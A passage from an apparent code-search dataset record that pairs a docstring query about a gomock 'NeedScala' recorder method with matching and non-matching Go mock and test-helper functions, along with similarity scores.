{\n\t\tthrowMockError(\"Couldn't set up listening socket\", err)\n\t}\n\t_, ctlPort, err := net.SplitHostPort(lsn.Addr().String())\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to split host and port: %v\", err)\n\t}\n\tlog.Printf(\"Listening for control connection at %s\\n\", ctlPort)\n\n\tgo func() {\n\t\tvar err error\n\n\t\tdefer func() {\n\t\t\tchAccept <- false\n\t\t}()\n\t\tif m.conn, err = lsn.Accept(); err != nil {\n\t\t\tthrowMockError(\"Couldn't accept incoming control connection from mock\", err)\n\t\t\treturn\n\t\t}\n\t}()\n\n\tif len(specs) == 0 {\n\t\tspecs = []BucketSpec{{Name: \"default\", Type: BCouchbase}}\n\t}\n\n\toptions := []string{\n\t\t\"-jar\", path, \"--harakiri-monitor\", \"localhost:\" + ctlPort, \"--port\", \"0\",\n\t\t\"--replicas\", strconv.Itoa(int(replicas)),\n\t\t\"--vbuckets\", strconv.Itoa(int(vbuckets)),\n\t\t\"--nodes\", strconv.Itoa(int(nodes)),\n\t\t\"--buckets\", m.buildSpecStrings(specs),\n\t}\n\n\tlog.Printf(\"Invoking java %s\", strings.Join(options, \" \"))\n\tm.cmd = exec.Command(\"java\", options...)\n\n\tm.cmd.Stdout = os.Stdout\n\tm.cmd.Stderr = os.Stderr\n\n\tif err = m.cmd.Start(); err != nil {\n\t\tm.cmd = nil\n\t\tthrowMockError(\"Couldn't start command\", err)\n\t}\n\n\tselect {\n\tcase <-chAccept:\n\t\tbreak\n\n\tcase <-time.After(mockInitTimeout):\n\t\tthrowMockError(\"Timed out waiting for initialization\", errors.New(\"timeout\"))\n\t}\n\n\tm.rw = bufio.NewReadWriter(bufio.NewReader(m.conn), bufio.NewWriter(m.conn))\n\n\t// Read the port buffer, which is delimited by a NUL byte\n\tif portBytes, err := m.rw.ReadBytes(0); err != nil {\n\t\tthrowMockError(\"Couldn't get port information\", err)\n\t} else {\n\t\tportBytes = portBytes[:len(portBytes)-1]\n\t\tif entryPort, err := strconv.Atoi(string(portBytes)); err != nil {\n\t\t\tthrowMockError(\"Incorrectly formatted port from mock\", err)\n\t\t} else {\n\t\t\tm.EntryPort = uint16(entryPort)\n\t\t}\n\t}\n\n\tlog.Printf(\"Mock HTTP port at %d\\n\", m.EntryPort)\n\treturn\n}", "func (m *MockgqlClient) forUserAgent(userAgent string) gqlClient {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"forUserAgent\", userAgent)\n\tret0, _ := ret[0].(gqlClient)\n\treturn ret0\n}", "func (m *MockRoutingRuleClient) BaseClient() clients.ResourceClient {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseClient\")\n\tret0, _ := ret[0].(clients.ResourceClient)\n\treturn ret0\n}", "func (m *MockClientStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func (m *MockClusterDescriber) BaseURI() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseURI\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockPrompt) forPlatformType() (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"forPlatformType\")\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func newMockSubscriber() mockSubscriber {\n\treturn mockSubscriber{}\n}", "func (m *MockResolver) Start() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Start\")\n}", "func (m *MockisJobSpec_Source) isJobSpec_Source() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"isJobSpec_Source\")\n}", "func (m *MockQueryer) SearchRaw(arg0 []string, arg1 *elastic.SearchSource) (*elastic.SearchResult, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"SearchRaw\", arg0, arg1)\n\tret0, _ := ret[0].(*elastic.SearchResult)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockSession) Bind(arg0 context.Context, arg1 string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Bind\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUnsafePdfServiceServer) mustEmbedUnimplementedPdfServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedPdfServiceServer\")\n}", "func (m *MockServiceDependencySet) Generic() sets.ResourceSet {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Generic\")\n\tret0, _ := ret[0].(sets.ResourceSet)\n\treturn ret0\n}", "func (m *MockisProxyrCbKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUnsafeTodoServiceServer) mustEmbedUnimplementedTodoServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedTodoServiceServer\")\n}", "func Mock(tgt module.DeliveryTarget, globalChecks []module.Check) *MsgPipeline {\n\treturn &MsgPipeline{\n\t\tmsgpipelineCfg: msgpipelineCfg{\n\t\t\tglobalChecks: globalChecks,\n\t\t\tperSource: map[string]sourceBlock{},\n\t\t\tdefaultSource: sourceBlock{\n\t\t\t\tperRcpt: map[string]*rcptBlock{},\n\t\t\t\tdefaultRcpt: &rcptBlock{\n\t\t\t\t\ttargets: []module.DeliveryTarget{tgt},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func (m *MockisRawrCbKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (_m *MockOStream) Reset(buffer checked.Bytes) {\n\t_m.ctrl.Call(_m, \"Reset\", buffer)\n}", "func (m *MockisProxyKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *Mockpersistent) Get(arg0 string) (proto.Message, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(proto.Message)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockisCryptoApiResponse_CryptoApiResp) isCryptoApiResponse_CryptoApiResp() {\n\tm.ctrl.Call(m, \"isCryptoApiResponse_CryptoApiResp\")\n}", "func (_m *MockReaderIteratorPool) Init(alloc ReaderIteratorAllocate) {\n\t_m.ctrl.Call(_m, \"Init\", alloc)\n}", "func (m *MockMessageHandler) Sub(arg0 context.Context, arg1 *proto.SubRequest, arg2 *proto.Response) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Sub\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func CreateMock(method interface{}, url interface{}, headers interface{}, body interface{}) *go_mock_yourself_http.Mock {\n\tmockRequest := new(go_mock_yourself_http.Request)\n\n\tif method != nil {\n\t\tmockRequest.SetMethod(method)\n\t}\n\n\tif url != nil {\n\t\tmockRequest.SetUrl(url)\n\t}\n\n\tif body != nil {\n\t\tmockRequest.SetBody(body)\n\t}\n\n\tif headers != nil {\n\t\tmockRequest.SetHeaders(headers)\n\t}\n\n\tmockResponse := new(go_mock_yourself_http.Response)\n\tmockResponse.SetStatusCode(222)\n\tmockResponse.SetBody(\"i'm a cute loving mock, almost as cute as mumi, bichi and rasti\")\n\n\tmock, _ := go_mock_yourself_http.NewMock(\"my lovely testing mock\", mockRequest, mockResponse)\n\treturn mock\n}", "func (m *MockProxy) Modify(proxy api.Proxy) (api.Proxy, error) {\n\tret := m.ctrl.Call(m, \"Modify\", proxy)\n\tret0, _ := ret[0].(api.Proxy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func mockTest0106(w http.ResponseWriter, r *http.Request) {\n\tmimetypeTable := make(map[string]string)\n\tmimetypeTable[\"txt\"] = \"text/plain\"\n\tmimetypeTable[\"jpg\"] = \"image/jpeg\"\n\tmimetypeTable[\"bin\"] = \"application/octet-stream\"\n\n\t// get query args\n\tmimetype, err := common.GetStringArgFromQuery(r, \"type\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\tisErrLength, err := common.GetBoolArgFromQuery(r, \"errlen\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\n\t// set mimetype\n\tif len(mimetype) == 0 {\n\t\tmimetype = \"txt\"\n\t}\n\tb, err := ioutil.ReadFile(fmt.Sprintf(\"testfile.%s\", mimetype))\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\n\t// set mismatch body length\n\tcontentLen := len(b)\n\tif isErrLength {\n\t\tcontentLen += 10\n\t}\n\n\tw.Header().Set(common.TextContentType, mimetypeTable[mimetype])\n\tw.Header().Set(common.TextContentLength, strconv.Itoa(contentLen))\n\tw.WriteHeader(http.StatusOK)\n\tw.(http.Flusher).Flush() // write response headers\n\n\ttime.Sleep(time.Second)\n\tif _, err := io.Copy(w, bufio.NewReader(bytes.NewReader(b))); err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t}\n}", "func (m *Mockrequester) Request(arg0 context.Context, arg1 p2p.Peer, arg2 []byte, arg3 func([]byte), arg4 func(error)) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Request\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func Mock() Cluster { return mockCluster{} }", "func MockType(importPath, typeName string, isPointer, isSlice bool) *Type {\n\tpkgName := \"\"\n\tif importPath != \"\" {\n\t\tpkgName = filepath.Base(importPath)\n\t}\n\tresult := &Type{\n\t\tImport: importPath,\n\t\tPackage: pkgName,\n\t\tName: typeName,\n\t\tIsPointer: isPointer,\n\t\tIsSlice: isSlice,\n\t\timports: newImports(),\n\t}\n\tresult.initReceiver()\n\treturn result\n}", "func (m *MockisProxycCbKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockAergoRaftAccessor) Process(arg0 context.Context, arg1 peer.ID, arg2 raftpb.Message) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Process\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockManagedClusterScope) BaseURI() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseURI\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func Mock(objects ...runtime.Object) KubernetesClientLambda {\n\tfakePool, fakeClient := NewFakes(objects...)\n\treturn &kubernetesClientLambdaImpl{\n\t\tclientPool: fakePool,\n\t\tinformerFactory: informers.NewSharedInformerFactory(fakeClient, 0),\n\t}\n}", "func (m *MockLogger) Custom(ctx context.Context, level log.Level, skipAdditionalFrames int, format string, args ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, level, skipAdditionalFrames, format}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Custom\", varargs...)\n}", "func (m *MockisProxyKeyHandle_KeyOrHandle) isProxyKeyHandle_KeyOrHandle() {\n\tm.ctrl.Call(m, \"isProxyKeyHandle_KeyOrHandle\")\n}", "func (m *MockService) Exchange(arg0 string) (*idp.TokenResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Exchange\", arg0)\n\tret0, _ := ret[0].(*idp.TokenResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockClient) ForSubcomponent(subcomponent string) github.Client {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ForSubcomponent\", subcomponent)\n\tret0, _ := ret[0].(github.Client)\n\treturn ret0\n}", "func (m *MockProposalContract) Init(arg0 core.Keepers, arg1 types1.BaseTx, arg2 uint64) core.SystemContract {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(core.SystemContract)\n\treturn ret0\n}", "func (mmBootstrapper *mGatewayMockBootstrapper) Expect() *mGatewayMockBootstrapper {\n\tif mmBootstrapper.mock.funcBootstrapper != nil {\n\t\tmmBootstrapper.mock.t.Fatalf(\"GatewayMock.Bootstrapper mock is already set by Set\")\n\t}\n\n\tif mmBootstrapper.defaultExpectation == nil {\n\t\tmmBootstrapper.defaultExpectation = &GatewayMockBootstrapperExpectation{}\n\t}\n\n\treturn mmBootstrapper\n}", "func (m *MockCerebroker) Resample() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Resample\")\n}", "func (m *MockRouterManager) Reloadable() bool {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Reloadable\")\n\tret0, _ := ret[0].(bool)\n\treturn ret0\n}", "func (m *MockisRawcCbKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockServicer) CalculateHashAndDuration(startTime time.Time, fiveSecTimer *time.Timer, password string) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"CalculateHashAndDuration\", startTime, fiveSecTimer, password)\n}", "func (m *MockVirtualServiceSet) Generic() sets.ResourceSet {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Generic\")\n\tret0, _ := ret[0].(sets.ResourceSet)\n\treturn ret0\n}", "func (m *FakeApiServer) Get(arg0 schema.GroupVersionResource, arg1, arg2 string) (runtime.Object, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(runtime.Object)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockReminds) HandleGetLastRemindCommand(arg0 *discordgo.Session, arg1 *discordgo.MessageCreate) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"HandleGetLastRemindCommand\", arg0, arg1)\n}", "func (m *MockisWRingKeyHandle_KeyOrHandle) MarshalTo(arg0 []byte) (int, error) {\n\tret := m.ctrl.Call(m, \"MarshalTo\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockChoriaProvider) PublishRaw(arg0 string, arg1 []byte) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"PublishRaw\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockQueryer) HandleV1(arg0 *http.Request, arg1 *metricq.QueryParams) interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"HandleV1\", arg0, arg1)\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func (m *MockMempool) Lock() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Lock\")\n}", "func (_m *MockSeriesIteratorPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func MockOnResetSystem(ctx context.Context, mockAPI *redfishMocks.RedfishAPI,\n\tsystemID string, requestBody *redfishClient.ResetRequestBody, redfishErr redfishClient.RedfishError,\n\thttpResponse *http.Response, err error) {\n\trequest := redfishClient.ApiResetSystemRequest{}.ResetRequestBody(*requestBody)\n\tmockAPI.On(\"ResetSystem\", ctx, systemID).Return(request).Times(1)\n\tmockAPI.On(\"ResetSystemExecute\", mock.Anything).Return(redfishErr, httpResponse, err).Times(1)\n}", "func (_m *MockMultiReaderIteratorPool) Init(alloc ReaderIteratorAllocate) {\n\t_m.ctrl.Call(_m, \"Init\", alloc)\n}", "func (m *MockPostForkBlock) setStatus(arg0 choices.Status) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"setStatus\", arg0)\n}", "func (m *MockGatewaySet) Generic() sets.ResourceSet {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Generic\")\n\tret0, _ := ret[0].(sets.ResourceSet)\n\treturn ret0\n}", "func (m *MockBigInterface) Foo27(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7 bool) Bar {\n\tif m.FnFoo27 != nil {\n\t\treturn m.FnFoo27(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7)\n\t}\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Foo27\", arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7)\n\tret0, _ := ret[0].(Bar)\n\treturn ret0\n}", "func (m *MockQueryer) QueryRaw(arg0, arg1 []string, arg2, arg3 int64, arg4 *elastic.SearchSource) (*elastic.SearchResult, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryRaw\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(*elastic.SearchResult)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *Mockpersistent) Create(arg0 proto.Message) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Create\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *MockIStream) Reset(r io.Reader) {\n\t_m.ctrl.Call(_m, \"Reset\", r)\n}", "func (m *MockLogic) SysKeeper() core.SystemKeeper {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"SysKeeper\")\n\tret0, _ := ret[0].(core.SystemKeeper)\n\treturn ret0\n}", "func MockReader(string) ([]byte, error) {\n\treturn []byte(\"sample text\"), nil\n}" ]
[ "0.5856972", "0.5805904", "0.5716918", "0.5699037", "0.56926525", "0.5570602", "0.5538725", "0.5535623", "0.552265", "0.55076724", "0.545067", "0.5419323", "0.5411336", "0.5391719", "0.53861845", "0.5386032", "0.5379284", "0.5379021", "0.53787917", "0.5361384", "0.5358017", "0.534788", "0.53457683", "0.53442335", "0.5340767", "0.53375494", "0.5336069", "0.5324967", "0.5311734", "0.5298463", "0.52960217", "0.5291873", "0.5291819", "0.5268495", "0.52610964", "0.5259788", "0.5255406", "0.5248378", "0.52461314", "0.52423424", "0.52349705", "0.52306736", "0.523064", "0.5225215", "0.5224275", "0.5223408", "0.5218806", "0.52115524", "0.5211132", "0.5194085", "0.51920027", "0.5183284", "0.5172433", "0.5166485", "0.51638377", "0.515982", "0.5157634", "0.5155173", "0.5154102", "0.51329505", "0.5125468", "0.5125233", "0.5124821", "0.51198757", "0.5119492", "0.51191765", "0.5118394", "0.5114252", "0.5113236", "0.5111983", "0.51118696", "0.5111084", "0.510345", "0.5103397", "0.5103169", "0.51016587", "0.51016057", "0.51009804", "0.5099886", "0.509875", "0.5098245", "0.5097663", "0.50903434", "0.50884163", "0.5085465", "0.50845975", "0.5084476", "0.5083347", "0.50765526", "0.50754523", "0.5075211", "0.50740963", "0.50732046", "0.50703347", "0.50680983", "0.50669", "0.50630933", "0.5062133", "0.50548744", "0.50530344" ]
0.5268603
33
NeedScala indicates an expected call of NeedScala
func (mr *MockmonitorInterfaceMockRecorder) NeedScala(Traffic interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "NeedScala", reflect.TypeOf((*MockmonitorInterface)(nil).NeedScala), Traffic) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockmonitorInterface) NeedScala(Traffic envoyTraffic) (bool, float64) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"NeedScala\", Traffic)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(float64)\n\treturn ret0, ret1\n}", "func (mr *MockmonitorInterfaceMockRecorder) WaitScala(name interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"WaitScala\", reflect.TypeOf((*MockmonitorInterface)(nil).WaitScala), name)\n}", "func TestSpec_MustGetValidTypeObject(t *testing.T) {\n\tcode := `\npackage haha\nimport \"fmt\"\nconst a = 1\nfunc main() {\n var b = 2.0\n type c struct {\n d string\n }\n fmt.Println(a, b)\n}`\n\ttestGet := func(s *Spec, v string) (r string) {\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\t\t\t\tr = fmt.Sprintf(\"%s\", err)\n\t\t\t}\n\t\t}()\n\t\ts.MustGetValidTypeObject(v)\n\t\treturn\n\t}\n\n\ts := NewSpec(code)\n\ts.SearchKind = SearchOnlyPackage\n\tif testGet(s, \"bool\") == \"find <bool> in code <\"+code+\"> failed\" &&\n\t\ttestGet(s, \"fmt\") == \"find <fmt> in code <\"+code+\"> failed\" &&\n\t\ts.MustGetValidTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ttestGet(s, \"b\") == \"find <b> in code <\"+code+\"> failed\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchPackageAndUniverse\n\tif s.MustGetValidTypeObject(\"bool\").String() == \"type bool\" &&\n\t\ttestGet(s, \"fmt\") == \"find <fmt> in code <\"+code+\"> failed\" &&\n\t\ts.MustGetValidTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ttestGet(s, \"b\") == \"find <b> in code <\"+code+\"> failed\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchAll\n\tif s.MustGetValidTypeObject(\"bool\").String() == \"type bool\" &&\n\t\ts.MustGetValidTypeObject(\"fmt\").String() == \"package fmt\" &&\n\t\ts.MustGetValidTypeObject(\"a\").String() == \"const haha.a untyped int\" &&\n\t\ts.MustGetValidTypeObject(\"b\").String() == \"var b float64\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n}", "func TestSpec_MustGetValidType(t *testing.T) {\n\tcode := `\npackage haha\nimport \"fmt\"\nconst a = 1\nfunc main() {\n var b = 2.0\n type c struct {\n d string\n }\n fmt.Println(a, b)\n}`\n\ttestGet := func(s *Spec, v string) (r string) {\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\t\t\t\tr = fmt.Sprintf(\"%s\", err)\n\t\t\t}\n\t\t}()\n\t\ts.MustGetValidType(v)\n\t\treturn\n\t}\n\n\ts := NewSpec(code)\n\ts.SearchKind = SearchOnlyPackage\n\tif testGet(s, \"bool\") == \"find <bool> in code <\"+code+\"> failed\" &&\n\t\ttestGet(s, \"fmt\") == \"find <fmt> in code <\"+code+\"> failed\" &&\n\t\ts.MustGetValidType(\"a\").String() == \"untyped int\" &&\n\t\ttestGet(s, \"b\") == \"find <b> in code <\"+code+\"> failed\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchPackageAndUniverse\n\tif s.MustGetValidType(\"bool\").String() == \"bool\" &&\n\t\ttestGet(s, \"fmt\") == \"find <fmt> in code <\"+code+\"> failed\" &&\n\t\ts.MustGetValidType(\"a\").String() == \"untyped int\" &&\n\t\ttestGet(s, \"b\") == \"find <b> in code <\"+code+\"> failed\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchAll\n\tif s.MustGetValidType(\"bool\").String() == \"bool\" &&\n\t\ts.MustGetValidType(\"fmt\").String() == \"invalid type\" &&\n\t\ts.MustGetValidType(\"a\").String() == \"untyped int\" &&\n\t\ts.MustGetValidType(\"b\").String() == \"float64\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n}", "func (pkg *Package) check(fs *token.FileSet, astFiles []*ast.File) {\n\tpkg.defs = make(map[*ast.Ident]types.Object)\n\terrFn := func(err error) {\n\t\tcErr := err.(types.Error)\n\t\tif cErr.Soft {\n\t\t\treturn\n\t\t}\n\t\tif strings.Contains(cErr.Msg, \"has no field or method\") ||\n\t\t\tstrings.Contains(cErr.Msg, \"invalid operation: cannot call non-function\") ||\n\t\t\t//2016-01-11: Try and skip past issues with VendorExperiment\n\t\t\tstrings.Contains(cErr.Msg, \"vendor\") {\n\t\t\tlog.Printf(\"IGNORED: during package check: %s\", cErr.Msg)\n\t\t\treturn\n\t\t}\n\t\tlog.Fatalf(\"checking package: %s\", cErr.Msg)\n\t}\n\tconfig := types.Config{FakeImportC: true, Error: errFn, Importer: importer.ForCompiler(fs, \"source\", nil)}\n\tinfo := &types.Info{\n\t\tDefs: pkg.defs,\n\t}\n\ttypesPkg, _ := config.Check(pkg.dir, fs, astFiles, info)\n\tpkg.typesPkg = typesPkg\n}", "func typeCheckImpl(ctx context.Context, b *typeCheckBatch, inputs typeCheckInputs) (*syntaxPackage, error) {\n\tctx, done := event.Start(ctx, \"cache.typeCheck\", tag.Package.Of(string(inputs.id)))\n\tdefer done()\n\n\tpkg, err := doTypeCheck(ctx, b, inputs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpkg.methodsets = methodsets.NewIndex(pkg.fset, pkg.types)\n\tpkg.xrefs = xrefs.Index(pkg.compiledGoFiles, pkg.types, pkg.typesInfo)\n\n\t// Our heuristic for whether to show type checking errors is:\n\t// + If any file was 'fixed', don't show type checking errors as we\n\t// can't guarantee that they reference accurate locations in the source.\n\t// + If there is a parse error _in the current file_, suppress type\n\t// errors in that file.\n\t// + Otherwise, show type errors even in the presence of parse errors in\n\t// other package files. go/types attempts to suppress follow-on errors\n\t// due to bad syntax, so on balance type checking errors still provide\n\t// a decent signal/noise ratio as long as the file in question parses.\n\n\t// Track URIs with parse errors so that we can suppress type errors for these\n\t// files.\n\tunparseable := map[span.URI]bool{}\n\tfor _, e := range pkg.parseErrors {\n\t\tdiags, err := parseErrorDiagnostics(pkg, e)\n\t\tif err != nil {\n\t\t\tevent.Error(ctx, \"unable to compute positions for parse errors\", err, tag.Package.Of(string(inputs.id)))\n\t\t\tcontinue\n\t\t}\n\t\tfor _, diag := range diags {\n\t\t\tunparseable[diag.URI] = true\n\t\t\tpkg.diagnostics = append(pkg.diagnostics, diag)\n\t\t}\n\t}\n\n\tif pkg.hasFixedFiles {\n\t\treturn pkg, nil\n\t}\n\n\tunexpanded := pkg.typeErrors\n\tpkg.typeErrors = nil\n\tfor _, e := range expandErrors(unexpanded, inputs.relatedInformation) {\n\t\tdiags, err := typeErrorDiagnostics(inputs.moduleMode, inputs.linkTarget, pkg, e)\n\t\tif err != nil {\n\t\t\t// If we fail here and there are no parse errors, it means we are hiding\n\t\t\t// a valid type-checking error from the user. This must be a bug.\n\t\t\tif len(pkg.parseErrors) == 0 {\n\t\t\t\tbug.Reportf(\"failed to compute position for type error %v: %v\", e, err)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tpkg.typeErrors = append(pkg.typeErrors, e.primary)\n\t\tfor _, diag := range diags {\n\t\t\t// If the file didn't parse cleanly, it is highly likely that type\n\t\t\t// checking errors will be confusing or redundant. But otherwise, type\n\t\t\t// checking usually provides a good enough signal to include.\n\t\t\tif !unparseable[diag.URI] {\n\t\t\t\tpkg.diagnostics = append(pkg.diagnostics, diag)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn pkg, nil\n}", "func TestSpec_GetType(t *testing.T) {\n\tcode := `\npackage haha\nimport \"fmt\"\nconst a = 1\nfunc main() {\n var b = 2.0\n type c struct {\n d string\n }\n fmt.Println(a, b)\n}`\n\ts := NewSpec(code)\n\ts.SearchKind = SearchOnlyPackage\n\tif s.GetType(\"bool\") == nil &&\n\t\ts.GetType(\"fmt\") == nil &&\n\t\ts.GetType(\"a\").String() == \"untyped int\" &&\n\t\ts.GetType(\"b\") == nil {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchPackageAndUniverse\n\tif s.GetType(\"bool\").String() == \"bool\" &&\n\t\ts.GetType(\"fmt\") == nil &&\n\t\ts.GetType(\"a\").String() == \"untyped int\" &&\n\t\ts.GetType(\"b\") == nil {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n\ts.SearchKind = SearchAll\n\tif s.GetType(\"bool\").String() == \"bool\" &&\n\t\ts.GetType(\"fmt\").String() == \"invalid type\" &&\n\t\ts.GetType(\"a\").String() == \"untyped int\" &&\n\t\ts.GetType(\"b\").String() == \"float64\" {\n\t} else {\n\t\tt.Error(`test failed`)\n\t}\n}", "func (l *langManager) validatePythonDeps(ctx context.Context, logger log.Logger, requiredPy, name string) (string, string, error) {\n\tswitch version.Compare(requiredPy, \"3.0.0\") {\n\tcase version.Smaller:\n\t\t// v2 required -> no virtualenv\n\t\tlogger.Debugf(\"Validating dependencies for python 2.x module\")\n\t\tpythonBin, err := findPythonBin(ctx, l.commandExecutor, requiredPy, \"\")\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Python >= 2 (and < 3.0) not found in the system. Please verify your setup\", requiredPy)\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\tif err := l.resolveBinVersion(pythonBin, requiredPy, \"--version\", logger); err != nil {\n\t\t\treturn \"\", \"\", err\n\t\t}\n\n\t\tpipBin, err := findPipBin(ctx, l.commandExecutor, requiredPy)\n\t\tif err != nil 